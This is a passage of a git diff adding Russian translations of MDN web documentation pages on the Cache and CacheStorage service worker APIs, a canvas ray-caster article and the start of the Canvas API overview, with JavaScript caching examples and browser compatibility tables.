+<p><strong>Note</strong>: {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} do not cache responses with <code>Response.status</code> values that are not in the 200 range, whereas {{domxref("Cache.put")}} lets you store any request/response pair. As a result, {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} can't be used to store opaque responses, whereas {{domxref("Cache.put")}} can.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Initial Cache implementations (in both Blink and Gecko) resolve {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, and {{domxref("Cache.put")}} promises when the response body is fully written to the disk.  More recent spec versions state that the browser can resolve the promise as soon as the entry is recorded in the database even if the response body is still streaming in.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">cache.put(request, response).then(function() {
+  // request/response pair has been added to the cache
+});
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>The {{domxref("Request")}} you want to add to the cache.</dd>
+ <dt>response</dt>
+ <dd>The {{domxref("Response")}} you want to match up to the request.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{jsxref("Promise")}} that resolves with void.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The promise will reject with a <code>TypeError</code> if the URL scheme is not <code>http</code> or <code>https</code>.</p>
+</div>
+
+<h2 id="Examples" style="line-height: 30px; font-size: 2.14285714285714rem;">Examples</h2>
+
+<p>This example is from the MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (see <a href="https://mdn.github.io/sw-test/">sw-test running live</a>). Here we wait for a {{domxref("FetchEvent")}} to fire. We construct a custom response like so:</p>
+
+<ol>
+ <li>Check whether a match for the request is found in the {{domxref("CacheStorage")}} using {{domxref("CacheStorage.match","CacheStorage.match()")}}. If so, serve that.</li>
+ <li>If not, open the <code>v1</code> cache using <code>open()</code>, put the default network request in the cache using {{domxref("Cache.put","Cache.put()")}} and return a clone of the default network request using <code>return response.clone()</code>. Clone is needed because <code>put()</code> consumes the response body.</li>
+ <li>If this fails (e.g., because the network is down), return a fallback response.</li>
+</ol>
+
+<pre class="brush: js">var response;
+var cachedResponse = caches.match(event.request).catch(function() {
+  return fetch(event.request);
+}).then(function(r) {
+  response = r;
+  caches.open('v1').then(function(cache) {
+    cache.put(event.request, response);
+  });
+  return response.clone();
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cache-put', 'Cache: put')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Cache.put")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cachestorage/index.html b/files/ru/web/api/cachestorage/index.html
new file mode 100644
index 0000000000..76de523901
--- /dev/null
+++ b/files/ru/web/api/cachestorage/index.html
@@ -0,0 +1,205 @@
+---
+title: CacheStorage
+slug: Web/API/CacheStorage
+tags:
+  - API
+  - CacheStorage
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - TopicStub
+translation_of: Web/API/CacheStorage
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>Интерфейс <strong><code>CacheStorage</code></strong> представляет собой хранилище для объектов {{domxref("Cache")}}. Он предоставляет главную директорию всех именованых кешей, к которым могут получить доступ {{domxref("ServiceWorker")}}, другие типы воркеров или {{domxref("window")}} (вы не обязаны использовать их с service workers, даже если существует спецификация, определяющая это) и поддерживает отображение строковых имен соответствующих объектов {{domxref("Cache")}}.</p>
+
+<p><code>CacheStorage</code> также позволяет вызвать {{domxref("CacheStorage.open()")}} и {{domxref("CacheStorage.match()")}}. Используйте {{domxref("CacheStorage.open()")}} для получения экземпляров {{domxref("Cache")}}. Используйте {{domxref("CacheStorage.match()")}} для проверки того, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом <code>CacheStorage</code>.</p>
+
+<p>Вы можете получить доступ к <code>CacheStorage</code> через глобальное свойство {{domxref("WorkerGlobalScope.caches", "caches")}}.</p>
+
+<div class="note"><strong>Заметка</strong>: CacheStorage всегда возвращает отказ с <code>SecurityError</code> для ненадежных источников (т.e. тех, что не используют HTTPS, хотя это утверждение, вероятно, станет более общим в будущем). При тестировании это можно обойти, установив опцию "Enable Service Workers over HTTP (when toolbox is open)" в меню Firefox Devtools options/gear.</div>
+
+<div class="note"><strong>Заметка</strong>: {{domxref("CacheStorage.match()")}} удобный метод. Подобный функционал сопоставления записей кеша может быть реализован путем открытия вашего кеша с помощью {{domxref("CacheStorage.open()")}}, возвращения записей, в ней содержащихся, через {{domxref("CacheStorage.keys()")}} и сравнения необходимой {{domxref("CacheStorage.match()")}}.</div>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("CacheStorage.match()")}}</dt>
+ <dd>Проверяет, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом {{domxref("CacheStorage")}}, и возвращает {{jsxref("Promise")}}, который успешно завершится, когда найдет совпадение.</dd>
+ <dt>{{domxref("CacheStorage.has()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который успешно завершится и вернет <code>true,</code> если объект {{domxref("Cache")}} содержит кеш с установленным <code>cacheName</code>.</dd>
+ <dt>{{domxref("CacheStorage.open()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который успешно завершится, когда объект {{domxref("Cache")}} найдет необходимый объект с <code>cacheName</code> (если такого нет, то создаст новый).</dd>
+ <dt>{{domxref("CacheStorage.delete()")}}</dt>
+ <dd>Находит объект {{domxref("Cache")}}, соответствующий <code>cacheName</code>, и, если такой обнаружен, удаляет объект {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, завершающийся с <code>true</code>. Если объект {{domxref("Cache")}} не найдет, то возвращается <code>false</code>.</dd>
+ <dt>{{domxref("CacheStorage.keys()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который вернет массив, содержащий строки, соответствующие всем именованым объектам {{domxref("Cache")}}, отслеживаемым {{domxref("CacheStorage")}}. Используйте этот метод для прохода по списку всех объектов {{domxref("Cache")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Фрагмент кода взят с MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (смотри <a href="https://mdn.github.io/sw-test/">sw-test running live</a>). Этот service worker ожидает старта события {{domxref("InstallEvent")}}, затем запускает {{domxref("ExtendableEvent.waitUntil","waitUntil")}} для обработки процесса установки приложения. Он состоит из вызова {{domxref("CacheStorage.open")}} для создания нового кеша и затем использует {{domxref("Cache.addAll")}} для добавления к нему списка ресурсов.</p>
+
+<p>Во втором блоке кода мы ждем запуска события {{domxref("FetchEvent")}}. Мы создаем встроенный ответ:</p>
+
+<ol>
+ <li>Проверяем, был ли необходимый запрос найден в CacheStorage. Если да, выполняем его.</li>
+ <li>Если нет, получаем запрос от сети, затем так же открываем кеш, созданный в первом блоке, и добавляем клон запроса в него, используя {{domxref("Cache.put")}} (<code>cache.put(event.request, response.clone())</code>.)</li>
+ <li>Если произошла ошибка (например, из-за отсутствия подключения), возвращаем ответ с отказом.</li>
+</ol>
+
+<p>Наконец, возвращаем ответ, был ли встроенный запрос в итоге равнозначным, используя {{domxref("FetchEvent.respondWith")}}.</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+
+this.addEventListener('fetch', function(event) {
+  var response;
+  event.respondWith(caches.match(event.request).catch(function() {
+    return fetch(event.request);
+  }).then(function(r) {
+    response = r;
+    caches.open('v1').then(function(cache) {
+      cache.put(event.request, response);
+    });
+    return response.clone();
+  }).catch(function() {
+    return caches.match('/sw-test/gallery/myLittleVader.jpg');
+  }));
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache-storage', 'CacheStorage')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функционал</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoDesktop(44)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Доступ через {{domxref("Window")}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatGeckoDesktop(44)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Доступ через {{domxref("WorkerGlobalScope")}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatGeckoDesktop(44)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функционал</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+  <tr>
+   <td>Доступ через {{domxref("Window")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td>Доступ через {{domxref("WorkerGlobalScope")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Сервисные воркеры (и <a href="/en-US/docs/Web/API/Push_API">Push</a>) были отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cachestorage/match/index.html b/files/ru/web/api/cachestorage/match/index.html
new file mode 100644
index 0000000000..6b60a861ce
--- /dev/null
+++ b/files/ru/web/api/cachestorage/match/index.html
@@ -0,0 +1,99 @@
+---
+title: CacheStorage.match()
+slug: Web/API/CacheStorage/match
+tags:
+  - API
+  - CacheStorage
+  - Service Workers
+  - Service worker API
+  - ServiceWorker
+  - match
+  - Экспериментальная функция
+translation_of: Web/API/CacheStorage/match
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">Метод <strong><code>match()</code></strong> интерфейса {{domxref("CacheStorage")}} (доступный через глобальное свойство <code>caches</code>) проверяет  является ли данный {{domxref("Request")}} или строка url ключом для какого-либо хранимого {{domxref("Response")}}. Метод возвращает {{jsxref("Promise")}} если {{domxref("Response")}} найден, или <code>undefined</code> если нет ни одного совпадения.</span></p>
+
+<p>Объекты Cache проверяются в порядке создания.</p>
+
+<div class="note"><strong>Note</strong>: {{domxref("CacheStorage.match()", "caches.match()")}} это метод для удобства в работе. Такая функциональность достигается вызовом {{domxref("cache.match()")}} для каждого объекта cache (в порядке полученом запросом {{domxref("CacheStorage.keys()", "caches.keys()")}}) пока {{domxref("Response")}} не будет найден.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">caches.match(<em>request</em>, <em>options</em>).then(function(<em>response</em>) {
+  // Какие-либо действия с response
+});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>{{domxref("Request")}} для поиска.  Может быть объектом  {{domxref("Request")}} или строкой URL.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Объект, свойства которого определяют, как проверяется совпадение в операции сопоставления. Доступны следующие варианты:
+ <ul>
+  <li><code>ignoreSearch</code>: {{domxref("Boolean")}} свойство. Определяет, следует ли игнорировать параметры запроса в строке url или нет.  Например, если установлено <code>true</code>, параметры <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будут проигнорированы во время сопоставления. Значением по умолчанию является <code>false</code>.</li>
+  <li><code>ignoreMethod</code>: {{domxref("Boolean")}} свойство. Когда установлено <code>true</code>, предотвращает проверку <code>http</code> метода запроса {{domxref("Request")}}  (обычно разрешены  только <code>GET</code>  и <code>HEAD</code>.) По умолчанию установлено <code>false</code>.</li>
+  <li><code>ignoreVary</code>: {{domxref("Boolean")}} свойство, определяющее, следует ли выполнять проверку заголовка <code>VARY.</code> Если установлено <code>true</code>, совпадения будут найдены, независимо от того, имеет ли {{domxref("Response")}} заголовок <code>VARY</code> или нет. По умолчанию установлено <code>false</code>.</li>
+  <li><code>cacheName</code>: Строка {{domxref("DOMString")}} - имя кэша для поиска.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Метод возвращает {{jsxref("Promise")}} который разрешается совпавшим {{domxref("Response")}}. Если ни одного совпадени не было найдено, promise разрешается с <code>undefined</code>.</p>
+
+<h2 id="Примеры" style="line-height: 30px; font-size: 2.14285714285714rem;">Примеры</h2>
+
+<p>Это пример  из MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (см. <a href="https://mdn.github.io/sw-test/">sw-test running live</a>). В данном примере, мы слушаем событие {{domxref("FetchEvent")}}. Мы строим проверку ответа следующим образом:</p>
+
+<ol>
+ <li>Проверяем, совпадения для запроса в {{domxref("CacheStorage")}} используя {{domxref("CacheStorage.match","CacheStorage.match()")}}. Если совпадение найдено, возвращаем response.</li>
+ <li>Если нет, открываем <code>v1</code> объект кэша, используя метод <code>open()</code>, добавляем изначальный запрос в кэш используя {{domxref("Cache.put","Cache.put()")}} и возвращаем клонированный объект запроса, используя <code>return response.clone()</code>. Это необходимо, потому что метод <code>put()</code> сохраняет в кэш тело запроса, изменяя, таким образом, изначальный запрос.</li>
+ <li>Если произошла какая-либо ошибка (например, из-за проблем с сетью), возвращаем резервный ответ.</li>
+</ol>
+
+<pre class="brush: js">caches.match(event.request).then(function(response) {
+  return response || fetch(event.request).then(function(r) {
+    caches.open('v1').then(function(cache) {
+      cache.put(event.request, r);
+    });
+    return r.clone();
+  });
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cachestorage-match', 'CacheStorage: match')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы желаете содействовать в уточнении данных, пожалуйста, посетите репозиторий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте pull request.</div>
+
+<p>{{Compat("api.CacheStorage.match")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches", "self.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cachestorage/open/index.html b/files/ru/web/api/cachestorage/open/index.html
new file mode 100644
index 0000000000..8e7535fdc9
--- /dev/null
+++ b/files/ru/web/api/cachestorage/open/index.html
@@ -0,0 +1,141 @@
+---
+title: CacheStorage.open()
+slug: Web/API/CacheStorage/open
+tags:
+  - API
+  - CacheStorage
+  - Experimental
+  - Method
+  - Reference
+  - ServiceWorker
+translation_of: Web/API/CacheStorage/open
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p><strong><code>open()</code></strong> метод из {{domxref("CacheStorage")}} интерфейса возвращает {{jsxref("Promise")}} который резолвится в {{domxref("Cache")}} обьект с соответствующим <code>cacheName (именем тега кеша)</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If the specified {{domxref("Cache")}} does not exist, a new cache is created with that <code>cacheName</code>.</p>
+</div>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">caches.open(<em>cacheName</em>).then(function(<em>cache</em>) {
+  //обрабатываем кеш например: cache.AddAll(filesToCache); где filesToCache = ['/mypic.png', ...]
+});
+</pre>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>{{jsxref("Promise")}} который резолвится в запрашиваемый {{domxref("Cache")}} обьект.</p>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>cacheName</dt>
+ <dd>Имя (тег) кеша заданное заранее которое необходимо открыть.</dd>
+</dl>
+
+<h2 id="Примеры" style="line-height: 30px; font-size: 2.14285714285714rem;">Примеры</h2>
+
+<p>This code snippet is from the MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (see <a href="https://mdn.github.io/sw-test/">sw-test running live</a>). Here we wait for a {{domxref("FetchEvent")}} to fire. Then we construct a custom response like so:</p>
+
+<ol>
+ <li>Check whether a match for the request is found in the {{domxref("CacheStorage")}} using {{domxref("CacheStorage.match")}}. If so, serve that.</li>
+ <li>If not, open the <code>v1</code> cache using {{domxref("CacheStorage.open")}}, put the default network request in the cache using {{domxref("Cache.put")}} and return a clone of the default network request using <code>return response.clone()</code> — necessary because <code>put()</code> consumes the response body.</li>
+ <li>If this fails (e.g., because the network is down), return a fallback response.</li>
+</ol>
+
+<pre class="brush: js">var response;
+var cachedResponse = caches.match(event.request).catch(function() {
+  return fetch(event.request);
+}).then(function(r) {
+  response = r;
+  caches.open('v1').then(function(cache) {
+    cache.put(event.request, response);
+  });
+  return response.clone();
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache-storage', 'CacheStorage')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoDesktop(44)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html
new file mode 100644
index 0000000000..72b21d9f5b
--- /dev/null
+++ b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html
@@ -0,0 +1,46 @@
+---
+title: базовый ray-caster
+slug: Web/API/Canvas_API/A_basic_ray-caster
+translation_of: Web/API/Canvas_API/A_basic_ray-caster
+---
+<p>{{CanvasSidebar}}</p>
+
+<p>В этой статье представлен интересный реальный пример использования элемента {{HTMLElement("canvas")}} для выполнения программного рендеринга 3D-среды с помощью Ray-casting.</p>
+
+<p>{{EmbedGHLiveSample("canvas-raycaster/index.html", 900, 300)}}</p>
+
+<p><strong><a href="http://mdn.github.io/canvas-raycaster/">Открыть в новом окне</a></strong></p>
+
+<h2 id="Why.3F" name="Why.3F">Зачем?</h2>
+
+<p>Я попробовал небольшой эксперимент, понимая, к моему восторгу, что стильный элемент <code>&lt;canvas&gt;</code> о котором я <a href="https://www.whatwg.org/specs/web-apps/current-work/#dynamic">читал</a>, поддерживается не только в Fierfox, но так же поддерживается последней версией Safari.</p>
+
+<p>Хорошие <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">обзор</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial">руководство</a> по canvas я нашел в MDN, но никто еще не писал об анимации, поэтому я решил попробовать базовый порт raycaster, над которым я работал некоторое время назад, и посмотреть, какую производительность мы можем ожидать от управляемого JavaScript-ом пиксельного буфера.</p>
+
+<h2 id="How.3F" name="How.3F">Как?</h2>
+
+<p>Основная идея заключается в использовании {{domxref("window.setInterval","setInterval()")}} с некоторой произвольной задержкой, соответствующей требуемой частоте кадров. После каждого интервала функция обновления будет перерисовывать холст, и отображать текущий вид. Я знаю, что мог бы начать с более простого примера, но я уверен, что руководство canvas <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">доберется до этого</a>, и я хотел посмотреть, смогу ли я это сделать.</p>
+
+<p>Таким образом каждое обновление raycaster смотрит нажимали ли вы какие либо клавиши в последнее время, сохраняет расчеты и останавливается если вы бездествуете. Получив расчеты, холст очищается, земля и небо рисуются, положение камеры и/или ориентация обновляются, а лучи отбрасываются. Когда лучи попадают на стены, они отображают вертикальный кусок холста в цвете стены, на которую они попали, смешанный с более темной версией цвета в зависимости от расстояния до стены. Высота этого кусочка также моделируется расстоянием от камеры до стены и рисуется по центру линии горизонта.</p>
+
+<p>Код, который я получил, - это смесь глав raycaster из старой книги Андре Ламотетрикса о гуру программирования игр (ISBN: 0672305070) и  <a class="external" href="http://www.shinelife.co.uk/java-maze/">java raycaster</a>, которую я нашел в интернете, отфильтровал, переименовал, и внес все изменения, которые нужно было внести, чтобы все работало хорошо.</p>
+
+<h2 id="Results" name="Results">Результаты</h2>
+
+<p>Холст в Safari 2.0.1 выполнен на удивление хорошо. С коэффициентом блочности, увеличенным до отображения кусочка шириной 8 пикселей, я могу запустить окно 320 x 240 при 24 fps на моем Apple mini. Firefox 1.5 Beta 1 еще быстрее; я могу запускать 320 x 240 при 24 fps с 4 пиксельным кусочком. Не совсем новый член семейства програмного обеспечения ID, но довольно приличный, учитывая, что это полностью интерпретируемая среда, и мне не нужно было беспокоиться о выделении памяти или видеорежимах или кодировании внутренних процедур в ассемблере или чем-то еще. Код получился очень эффективным, он использует поиск по массиву предварительно вычисленных значений, но я не гуру оптимизации, поэтому все, вероятно, можно было бы написать быстрее.</p>
+
+<p>Кроме того, он оставляет желать лучшего с точки зрения попыток быть игровым движком—нет текстур стен, нет спрайтов, нет дверей, даже нет телепортов, чтобы добраться до другого уровня. Но я уверен, что все эти вещи могут быть добавлены, через некоторое время. Canvas API поддерживает пиксельное копирование изображений, поэтому текстуры могут быть добавлены. Я оставлю это для другой статьи, возможно, от другого человека. =)</p>
+
+<h2 id="The_RayCaster" name="The_RayCaster">ray-caster</h2>
+
+<p>Хорошие люди здесь вручную скопировали мои файлы, чтобы вы могли <a href="https://mdn.github.io/canvas-raycaster/">взглянуть</a>, и для вашего удобства я разместил содержимое отдельных файлов в виде списков кодов (см. ниже).</p>
+
+<p>Так что запустите Safari 1.3+ или Firefox 1.5+ или какой-нибудь другой браузер, который поддерживает элемент &lt;canvas&gt; и наслаждайтесь!</p>
+
+<p><small><a href="https://github.com/mdn/canvas-raycaster/blob/master/input.js">input.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/Level.js">Level.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/Player.js">Player.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/index.html">RayCaster.html</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/RayCaster.js">RayCaster.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/trace.css">trace.css</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/trace.js">trace.js</a> </small></p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas руководство</a></li>
+</ul>
diff --git a/files/ru/web/api/canvas_api/index.html b/files/ru/web/api/canvas_api/index.html
new file mode 100644
index 0000000000..e3986f8d75
--- /dev/null
+++ b/files/ru/web/api/canvas_api/index.html
@@ -0,0 +1,161 @@
+---
+title: Canvas
+slug: Web/API/Canvas_API
+tags:
+  - API
+  - Canvas
+  - Обзор
+  - Справка
+translation_of: Web/API/Canvas_API
+---
+<div>{{CanvasSidebar}}</div>
+
+<p class="summary">Элемент {{HTMLElement("canvas")}}, добавленный в <a href="https://developer.mozilla.org/en-US/docs/HTML/HTML5">HTML5</a>, предназначен для создания графики с помощью <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>. Например, его используют для рисования графиков, создания фотокомпозиций, анимаций и даже обработки и рендеринга видео в реальном времени.</p>
+
+<p><em>«</em>Canvas<em>»</em>  в переводе с английского означает <em>«</em>холст<em>»</em>.</p>
+
